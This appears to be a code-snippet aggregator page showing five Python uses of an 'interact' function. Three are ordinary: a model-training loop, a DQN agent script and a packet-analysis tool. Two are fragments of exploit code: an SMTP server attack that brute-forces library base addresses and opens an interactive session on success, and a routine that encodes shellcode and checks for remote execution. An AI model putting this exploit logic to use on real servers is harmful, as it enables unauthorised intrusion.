示例#1
0
def main_worker(rank, args):
    args.rank = rank
    args = setup(args)

    loaders = Data(args).get_loader()
    model = Model(args)
    optimizer = Optimizer(args, model)
    if args.amp:
        model = optimizer.set_amp(model)
    model.parallelize()

    criterion = Loss(args, model=model, optimizer=optimizer)

    trainer = Trainer(args, model, criterion, optimizer, loaders)

    if args.stay:
        interact(local=locals())
        exit()

    if args.demo:
        trainer.evaluate(epoch=args.startEpoch, mode='demo')
        exit()

    for epoch in range(1, args.startEpoch):
        if args.do_validate:
            if epoch % args.validate_every == 0:
                trainer.fill_evaluation(epoch, 'val')
        if args.do_test:
            if epoch % args.test_every == 0:
                trainer.fill_evaluation(epoch, 'test')

    for epoch in range(args.startEpoch, args.endEpoch + 1):
        if args.do_train:
            trainer.train(epoch)

        if args.do_validate:
            if epoch % args.validate_every == 0:
                if trainer.epoch != epoch:
                    trainer.load(epoch)
                trainer.validate(epoch)

        if args.do_test:
            if epoch % args.test_every == 0:
                if trainer.epoch != epoch:
                    trainer.load(epoch)
                trainer.test(epoch)

        if args.rank == 0 or not args.launched:
            print('')

    trainer.imsaver.join_background()

    cleanup(args)
示例#2
0
    state = env_info.vector_observations[0]
    state_size = len(state)

    enable_gpu = False  # Up to the user
    gpu_available = torch.cuda.is_available()  # Checks the environment
    train_on_gpu = enable_gpu and gpu_available
    if train_on_gpu:
        device = torch.device('cuda')
    else:
        device = torch.device('cpu')

    # watch an untrained agent
    untrained_agent = DoubleDqnAgent(state_size=state_size,
                                     action_size=action_size,
                                     seed=0,
                                     device=device)
    watch(untrained_agent, env, brain_name)

    agent = DoubleDqnAgent(state_size=state_size,
                           action_size=action_size,
                           seed=0,
                           device=device)
    scores, best_avg_reward = interact(agent, env, brain_name, min_score=100.0)

    plot(scores)

    # watch the trained agent
    agent.qnetwork_local.load_state_dict(torch.load('top_model.pth'))
    watch(agent, env, brain_name)

    env.close()
示例#3
0
         reply = smtpUtils.recvReply(sd)
      except smtpUtils.smtpServerCrashed, err:
         print "FAILURE!"
         print "Target crashed -- probably because we were not talking to " \
               "the correct thread."
         self.attempt += 1
         return self.exploit()
      except smtpUtils.smtpError, err:
         err.printMsg("")
         return 1
      if (challenge != reply):
         print "FAILURE!"
         print "Unexpected target response."
         return 1
      print "SUCCESS!"
      utils.interact(sd)
      sd.close()
      return 0

   def imtaTouch(self, bruteForce=False):
      print "\nLooking for libimta.so:"
      if (None == self.imtaBase):
         imtaBase = 0xfe800000L
      else:
         imtaBase = self.imtaBase
      try:
         leakBuf, matchBuf = self.buildImtaLeakBuffers(imtaBase)
      except IndexError, err:
         print "out of addrs"
         #self.crash()
         #connect
示例#4
0
            os.execv(efile, args)
            print "Local exec failed"
         else:
            reply = ad.recv(1024)
            if ("" == reply):
               print "Remote exec succeeded"
               return 0
            elif (-1 == utils.leS32StringToS32(reply)):
               print "Remote exec failed"
            else:
               print "Received the following from afar:"
               utils.dumpHex(reply)
         return -1
      elif (-1 == status):
         print "status = %d" % status
   utils.interact(ad) 
   return 0

def dulEncode(unencodedShellcode):
   pathToDUL = "./DUL"
   unencodedFile = "tmp.unencoded"
   encodedFile = "tmp.encoded"

   f=open(unencodedFile, 'w');
   f.write(unencodedShellcode);
   f.close()
   os.system("%s %s %s > /dev/null" % (pathToDUL, unencodedFile, encodedFile))
   f=open(encodedFile,'r');
   #should only be one line
   encodedShellcode = f.readline()
   f.close()
示例#5
0
if __name__ == '__main__':

    #Parse commands
    args = processCommand()

    #Parse data
    (inputFile, faultLineNum, Packets, baseTime) = parsePacket(args.inputFile)

    #Get IP pair information
    thisIPpair = ipPair(Packets, args.outputFile, args.subnet, args.port,
                        args.N)
    logArr = thisIPpair.getLogArr()

    #Get analysis IP pair
    (desiredArr, labels) = interact(logArr, args.N)

    #To see whether plot inter-arrival time
    if interactBool("Do you want to plot inter-arrival time?"):
        plotInterArrival(Packets, desiredArr, args.outputFile)

    #To see whether plot RTT
    if interactBool("Do you want to plot information about RTT?"):
        datas = getRTT(Packets, baseTime, desiredArr, args.outputFile)
        maxtime = getMaxTime(datas)
        plotRTT(datas, labels, maxtime, args.outputFile)
        plotRTTDistribution(datas, labels, args.outputFile)

    #To see whether plot BandWidth
    if interactBool("Do you want to plot information about Bandwith?"):
        BW = bw(Packets, baseTime, desiredArr, args.outputFile)